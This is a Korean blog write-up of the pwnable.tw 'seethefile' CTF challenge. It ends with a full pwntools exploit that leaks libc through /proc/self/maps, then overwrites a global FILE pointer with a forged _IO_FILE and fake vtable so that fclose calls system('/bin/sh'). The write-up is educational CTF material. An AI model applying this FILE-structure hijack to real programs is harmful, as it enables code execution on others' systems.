Recent Posts
Recent Comments
Link
«   2025/07   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[Pwnable.tw] seethefile(Write-up) 본문

Hack/Pwnable

[Pwnable.tw] seethefile(Write-up)

CIDY 2023. 1. 7. 19:56

mitigation

hmm...

 

진짜 orw시스템이다.

 

fp와 magicbuf, filename은 모두 전역에 있다. fp는 FILE*, magicbuf는 char[416](0x190 == 400), filename은 char[64]짜리이다. 만약 filename안에 "flag"가 포함되어 있으면 exit한다. 그게 아니면 오픈해줌.

 

fp에서 magicbuf로 0x18만큼 읽어온다.

 

이건 좀 빡세다. filename에 flag가 있거나, magicbuf에 FLAG 혹은 } 가 있으면 can`t see라고 한다. 읽기만 필터링한 줄 알았는데 쓰기도 필터링이... 근데 그 외의 파일들은 모두 읽을 수 있는듯하다.

 

fp를 닫고 초기화시켜준다.

 

name은 전역변수다. 여기서 무한입력을 받는다. 뭐 덮을 게 있는지 알아봐야 할듯. 암튼 name을 %s로 출력해주고, fp닫고 exit한다. (return은 왜 같이 둔거지)

 

아 여기도 무한입력이네 카나리땜에 뭐 활용 못하려나 알아봐야겠다.

 

일단 코드는 여기까지다. 진짜 심플한 프로그램인데.. 어차피 system함수로 cat하는것도 아니고 open read write함수를 쓰는거라 \로 우회도 안되고 걍 문제에서 제시한대로 정석적으로 쉘따서 플래그 읽어야 할듯하다. 

 

아니 그런데 아무리 봐도..case5에서 딱 전역에 읽어온 플래그 릭하고 종료하는 느낌이라고 생각했는데..

get a shell for me를 보면 쉘을 따긴 해야하나보다. 일단 전역에 변수가 어떻게 자리잡고 있는지부터 보자.

 

filename -> magicbuf -> name -> fp 이렇게 쌓여있다. 아 그럼 name에서 뭐 릭할 수 있는것도 없는데 case5는 그냥 페이크인가.. 초반 방향잡는것부터 헷갈린다. 읽을 수 있는 파일 중에 시스템상 익스에 도움될 수 있는 파일이 있는지도 모르는 일이고... 

 

그래도 일단 정석적으로 쉘 따는걸 목표로 해봐야겠다. 일단 최종적으로는 case5를 쓸 수 밖에 없을 것 같다. case 5는 여러번 쓸 수 있는 구조는 아니니까 fclose에서 바로 익스되도록 해야한다. vtable을 조작해서 fclose내부적으로 원하는 함수를 유도해야 할 것 같다.

 

그럼 일단 립씨릭부터 ㄱㄱ 근데 뭘로 릭해야 할지 모르겠다. 내 생각에 flag제외 모든 원하는 파일을 다 읽을 수 있는게 취약하게 작동할 것 같은데..

 

아 그런데 문득 예전에 CyKor 세미나 2주차 강의하신 선배가 gdb에서 vmmap명령어를 보여주면서 리눅스에서는 모든 게 파일로 관리되기 때문에~~ 어쩌구 하면서 vmmap명령어와 동일한 결과를 cat /proc..? 어쩌구 해서 그대로 실행했던 기억이 있다. 그게 뭐였을까... 

 

https://orcinus-orca.tistory.com/3

 

[Ck_수업정리] 2주차(Memory, Assembly)

내가 볼려고 만든거라 두서없음. 오늘 진작 정리했어야 했는데 리눅스에 vs code설치하고(잡담 카테고리에 방법 올려둠) 혼자 신기해서 이것저것 해보느라 뒤늦게 올림.. 1주차는 별 내용 없어서

orcinus-orca.tistory.com

/proc/[pid]/maps 였다. 피드번호를 어케 알수있을지 고민했는데, 현재 실행중인 프로세스는 /proc/self/maps로 하면 된다고 한다.

 

뭐야 중간에 짤림. fread여러번 해야 할듯하다.

 

릭 성공. 릭까지는 간단하게 됐다. 애초에 flag빼고 모든 파일을 읽게 해준 시점에서 뭔가 중요한 정보가 유출되는건 당연한 것이긴 하다.

 

그럼 이제 got overwrite를 해보자. 무한입력을 받는 곳은 크게 두 곳이 있다. 메인에서 메뉴 고르는거랑(근데 어차피 스택에는 내가 원하는 target도 없을뿐더러 카나리때문에 별도의 릭 없이 뭐 못함.) case 5에서 전역에 name에 쓰는거다. 그런데 name다음에 fp가 있어서 fp를 overwrite할 수 있다. 여기서 가짜 파일 구조체를 bss에 쓴 다음, fp위치에는 그 주소를 넣으면 되는 것 아닐까?

 

그래서 이렇게 구성했는데 프로그램이 터진다. 32비트 시스템 상에서도 구조체 구조는 같을텐데 왜 이지랄이지?? 한번 살펴보자.

 

일단 내가 이용하려는거는 _IO_str_finish이다. fclose하게되면 vtable위치 + 0x10에 위치한 함수를 수행하게 되는데, 2칸이니까 32에서는 0x8일까 싶다.

모르겠으면 이미 생성된 파일 구조체를 기반으로 살펴보면 된다.

 

표시한 부분이 vtable이다. (_IO_file_jumps) 내가 썼던 fake와 뭔가 좀 다르기는 하다. 일단 vtable은 38번째 칸에 들어가야 한다.

어차피 이거 이용하는거니까 vtable조작이랑 IO_buf_base만 잘 조작해주면 된다.

이게 원래 vtable이고

이걸로 조작하려는건데, fclose는 _IO_new_file_finish를 부르는데 _IO_str_jumps구조체에서 _IO_str_finish랑 offset이 같으니까 그냥 복잡한 거 생각할 거 없이 구조체만 갈아치워주면 된다.

 

 그런데 이게 잘 안 돼서 vtable을 bss영역으로 덮으려고 해봤는데 fatal error가 발생한다. 생각해보면 언젠가부터 vtable이 valid한 범위에 있는지 검사하는 함수가 추가되었다고 한다.. 결국 _IO_str_finish를 써야만 한다.

_IO_str_finish는 _IO_str_jumps의 세 번째에 위치한다. _IO_new_file_finish와 상대적으로 같은 위치에 있기 때문에 _IO_file_jumps -> _IO_str_jumps로 대체해버리면 vtable주소 검사에 걸리지 않고 원하는 함수를 수행할 수 있다.

 

void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}

위 함수가 _IO_str_finish이다. fp가 가리키는 _IO_buf_base를 인자로 _s의 _free_buffer함수 포인터를 수행한다.

fp는 _IO_strfile형인데, 해당 구조체를 보면 _s멤버를 찾아볼 수 있다. _s는 _IO_str_fields형이다. 

_IO_str_fields는 이렇게 생겼다. 즉, 여기서 _free_buffer를 수행하는 것이다. 64비트에서 위 구조체는 vtable이 있는 주소 바로 다음에 위치해서 p64(vtable) + p64(dummy) + p64(system) 이런 식으로 원하는 함수를 실행시킬 수 있었다.

if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) 만 통과하면 되는데, _IO_buf_base에는 인자를 넣어줄 것이므로 상관없다. 그리고 fp->_flags와 _IO_USER_BUF의 &결과가 거짓이면 되는데, 여기서 _flags에 0x0을 넣어버리면 아무 문제 없이 조건문을 통과할 수 있다. 

 

?
???
?????

아니 뭐야 다른건 다 몰라도 _IO_FILE이 없을수가 있나? 없는 게 아니라 내가 뭔가 출력을 잘못한 것 같은데 뭐라고 쳐야 나오려나..

 

시발 안해

 

아 찾았다ㅋㅋ gdb에서p * _IO_list_all 을 하면 위 사진처럼 현재 할당된 _IO_FILE구조체들을 볼 수 있다. 참고로 _IO_FILE_plus는 _IO_FILE + vtable이다.

 

64에서 알던거라 뭔가 좀 다르기는 하다. 뭐가 확실히 많기는 함. cur column은 short고, vtable offset은 char이고, shortbuf도 char이고... _offset은 long64이다.

위 테이블에 맞춰서 값을 넣어줬는데..vtable참조에서 오류가 발생하지는 않는데, 내가 이상한 포인터를 free하려고 했다는데... 대체 어디서 free가 발생했는지 gdb로 열어보자.

일단 vtable은 정상적으로 덮인 것을 확인할 수 있다. _IO_file_jumps가 아니고 _IO_str_jumps이다. 인자로는 가짜 fp주소가 들어가 있다. 뭐야 ㅅㅂ

 

_IO_str_finish내부로 들어왔다. 근데 여기서 free를 호출한다. 스택에 eax를 push하고 free를 호출하면,, free("/bin/sh") 가 되는건데.. 아니 저게 여기서 왜 나오냐고.. 일단 코드 자체가 call free인걸로 보아 인자가 잘못된 느낌인데, 아니 _IO_str_finish에 왜 free가 있냐고..ㅋㅋ

 

아니 그래서 _IO_str_finish의 어셈블리를 봤는데 ㅅㅂ이게뭐람. 함수 포인터 호출은 없고 이상한 함수랑(메모리 보호기법이다.) free만 호출된다.

 

void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}

이게 안 된단 말이지? ㅋㅋㅅㅂ 

 

아니 이게뭐야 소스를 다시 열었는데 이렇게 돼 있다. _IO_buf_base를 인자로 free를 호출한다. 뭐야...분명 예전에 분석했을 때에는 free가 아니였는데 그 사이에 무슨 일이 있었던걸까?

 

_IO_str_overflow도 106번째 줄 보면 원래 alloc_buffer 함수 포인터로 써먹던 부분이 직접 malloc을 써서 공격이 막혀있다. 아니 malloc이랑 free쓸 수 있는거였으면 진작에 그럴 것이지 ㅅㅂ 이렇게 된 이상 내가 아예 새로운 공격 벡터를 찾아야 한다 ㅋㅋㅋ

 

- _IO_helper_jumps
- _IO_cookie_jumps
- _IO_procG_jumps
- _IO_wstrn_jumps
- _IO_wstr_jumps
- _IO_wfile_jumps_maybe_mmap
- _IO_wfile_jumps_mmap
- _IO_wfile_jumps
- _IO_wmem_jumps
- _IO_mem_jumps
- _IO_strn_jumps
- _IO_obstack_jumps
- _IO_file_jumps_maybe_mmap
- _IO_file_jumps_mmap
- _IO_file_jumps
- _IO_str_jumps
- _IO_str_chk_jumps

 

이 중에 쓸 거 찾아야한다. 일단 _IO_file_jumps 랑 _IO_str_jumps는 제껴두고, 어디서 주워듣기로는 _IO_wstr_jumps로 공격하는것도 있다던데, 알아보러 ㄱㄱ

 

여기도 free네....보니까 대부분 함수 포인터가 free랑 malloc으로 대체된 것 같다. 

 

어쩔 수 없이 라업을 검색했는데..뭐야 vtable을 bss영역으로 조작하네? 저래도 안 걸리는걸 보면 도대체 버전이 언제적인거야......😐IO_validate_vtable이 없을 정도면 2.23이하 아닌가..? 미치겠네 진짜 ㅋㅋㅋ 립씨를 줄 게 아니라 버전을 주든가... 도커를 주든가... 이것때문에 내가 얼마나 삽질했는데... 그래도 이왕 _IO_str_finish를 쓰기로 방향을 잡은 이상 bss를 덮어 쉽게 풀기보다 원래 계획한대로 하고 싶다. vtable을 아예 가짜로 만들어 풀면 쉽겠지만 내가 푼 것 같은 느낌이 안 날 것 같다.

 

그럼 23소스를 보러가자.

 

역시 예상대로 free가 아닌 함수 포인터를 수행한다. 

umm..그런데 이게 두 번째에 있네. 사실 remote환경에서 디버깅이 불가하고, LD_PRELOAD도 로더때문인지 지금 env=으로 적용하는 족족 터지는 상황이라 _IO_file_jumps와 얼마나 떨어져 있는지도 알 수가 없음..ㅋㅋ offset에 대해서는 약간 브포를 때려봐야 정확히 알듯한데, 아마 딱 구조체 하나만큼 차이나지 않을까 생각해봄.

 

struct _IO_FILE {
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;	/* Current read pointer */
  char* _IO_read_end;	/* End of get area. */
  char* _IO_read_base;	/* Start of putback+get area. */
  char* _IO_write_base;	/* Start of put area. */
  char* _IO_write_ptr;	/* Current put pointer. */
  char* _IO_write_end;	/* End of put area. */
  char* _IO_buf_base;	/* Start of reserve area. */
  char* _IO_buf_end;	/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

이게 _IO_FILE구조체인데, 이런저런 잡다한 게 붙어있지 않은 상황이다.

 

잡다한 건 여기 붙어있는 상황인데, _IO_FILE과 _IO_FILE_complete는 어떻게 다른 거지..? _IO_FILE_complete_plus도 따로 있는데, 거기는 complete뒤에 vtable이 붙은 구조이다. 알아보니 이것까지 붙여야 하는 것 같다.

 

결국 16.04에서 열었는데 _IO_str_jumps가 없다....... 이게 맞냐.

 

그냥 어셈블리 보면서 분석해보기로 했다. 그게 더 편할지도..

디버깅해보는데 vtable쪽으로 안 넘어간다. 그런데 코드 내용을 보면 위와 같다. esi는 내가 준 가짜 파일 구조체 주소이다. eax는 0이니까 거기에 0x94를  더한 부분에 있는 값을 가져오고, 그 주소 + 0x8에 있는 값을 call한다.

그런데 _IO_str_jumps가 없는 상황이면 정말 가짜 vtable을 만들기는 해야겠다.

 

아 그런데 fp + 0x48에서 또 값을 데려오고 거기 있는 주소 + 0x8에 있는 값과 edi를 비교한다. 그럼 앞을 다 밀면 안되고, _IO_buf_base나 _lock같은 애들만 남겨야겠다.

 

오 드디어 system실행에 성공한 것 같다. 적당한 arg만 주면 될듯.

 

아 이번에는 여기서 터진다. _IO_file_close_it...

이게 flag에 0x20플래그가 설정되어 있으면 점프하는데, 그렇지 않으면 호출되는 함수이다. fp를 인자로 수행되는데, 저게 수행되는것은 피해야 할 것 같다.

 

아 헐 내부적으로 vtable + 0x44를 call하는 코드가 있었구나..와 내가 알던 fclose랑 왤케 다르냐... 그럼 vtable이 좀 길어지니 뒤에 만들어야 할듯.

 

vtable + 17을 참조하는데, 거기 close가 있기는 한데 나는 당연히 fclose가 vtable + 2 (_IO_new_file_finish)를 호출하고 종료하는 줄 알았다. 그런데 그전에 저걸 호출하네...

 

from pwn import *

#context.log_level = "debug"

def _open(filename):
    p.sendlineafter(b"Your choice :", b"1")
    p.sendlineafter(b"What do you want to see :", filename)
    
def _read():
    p.sendlineafter(b"Your choice :", b"2")
    
def _write():
    p.sendlineafter(b"Your choice :", b"3")
    
def _close():
    p.sendlineafter(b"Your choice :", b"4")

def _exit(name):
    p.sendlineafter(b"Your choice :", b"5")
    p.sendlineafter(b"Leave your name :", name)
    
#p = remote("chall.pwnable.tw", 10200)    
p = process("./seethefile")
e = ELF("./seethefile")
libc = e.libc
#libc = ELF("./libc_32.so.6")

_open("/proc/self/maps")
_read()
_read()
_write()

p.recvline()

libc_base = int(p.recvuntil(b"-")[:-1], 16)
log.info("libc base = " + hex(libc_base))
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
fake_vtable = libc_base + libc.sym['_IO_file_jumps'] + 0x60 #_IO_str_jumps

dummy = p32(0) * 8

fake = b"" #0x804b284
fake += b"/bin/sh\x00"
fake += p32(0) *5
fake += p32(binsh) #_IO_buf_base 
fake += p32(0) * 10
fake += p32(0x804b400) #_lock -> this section must have "write" permission
fake += p32(0) * 18
fake += p32(0x804b31c)

vtable = b"" #0x804b31c
vtable += b"\x00" * 0x44
vtable += p32(system)

payload = dummy + p32(0x804b284) + fake + vtable
pause()
_exit(payload)
    
p.interactive()

최종 익스코드는 이렇게 나옴. _IO_buf_base자리는 binsh여야 하는 게 아니고 그냥 값이 있어야 하는듯했다. 그리고 flag자리에 아무 값이나 있으면 _IO_file_close_it(fp)가 수행되는 것 같은데, (0x20이랑 ah가 같으면 pass할수는 있기는 한데 그럼 또 흐름이 망가져서;;) /bin/sh를 인자로 주려면 flag에 값을 넣지 않을 수 없었다. -> 그럼 _IO_file_close_it내부로 흐름이 들어가 안쪽 루틴을 이용해 익스해야 하는 상황이 되는 것이고, 나는 vtable + 17칸(fp)를 호출하는 상황을 이용한 것이다.

 

? 플래그가 안 읽힌다. 뭐야 -> 파일 아니고 디렉토리였음 ㅋㅋ

 

flag디렉 내부에는 뭐가 없고, seethefile내부에는 이렇게 있다. 근데 나는 seethefile사용자인데 flag파일 읽을 권한이 없음 ㅋㅋㅋㅋㅋ get_flag써야 할듯.

 

 

음... Give me the flag라고 해야 플래그를 준다...어이없어...

flag

어...암튼 성공...

 

후기: 삽질삽질삽질을 했다. 일단 나는 18.04에서 계속 했는데 이게 힙문제도 아니고 이렇게까지 version이 낮을 줄 몰랐다. 16.04에서하니 알맞게 돌아가는 것을 보아 2.23인듯한데,, 32비트라 파일 구조체 사이즈 뭐 그런것도 64랑 다르고,, 무엇보다 _IO_str_finish가 없는데서 1차 충격을 받았다. 분명 glibc 2.23소스에서 _IO_str_finish를 보고, 분석했는데 gdb에서 보니 없더라... 그리고 두 번째 문제는, 나는 vtable에서 세 번째 친구인 _IO_new_file_finish를 호출할 줄 알아서 fake vtable을 작게 만들었었는데 _IO_file_close_it이라는 새로운 함수를 타고 들어가면서 vtable + 17칸을 참조해버렸다는 것이다.. 그것도 close쪽이기는 한데...진짜 버전별로 루틴이 다르니까 그걸 다 분석해볼수도 없고 난감하다ㅠㅠ 갈 길이 멀은듯.

 

596

'Hack > Pwnable' 카테고리의 다른 글

[Pwnable.tw] Spirited Away(Write-up)  (1) 2023.01.18
[Pwnable.tw] Death Note(Write-up)  (0) 2023.01.09
[Pwnable.tw] Re-alloc(Write-up)  (1) 2023.01.04
[Pwnable.tw] Silver Bullet(Write-up)  (2) 2023.01.03
[Pwnable.tw] applestore(Write-up)  (2) 2023.01.02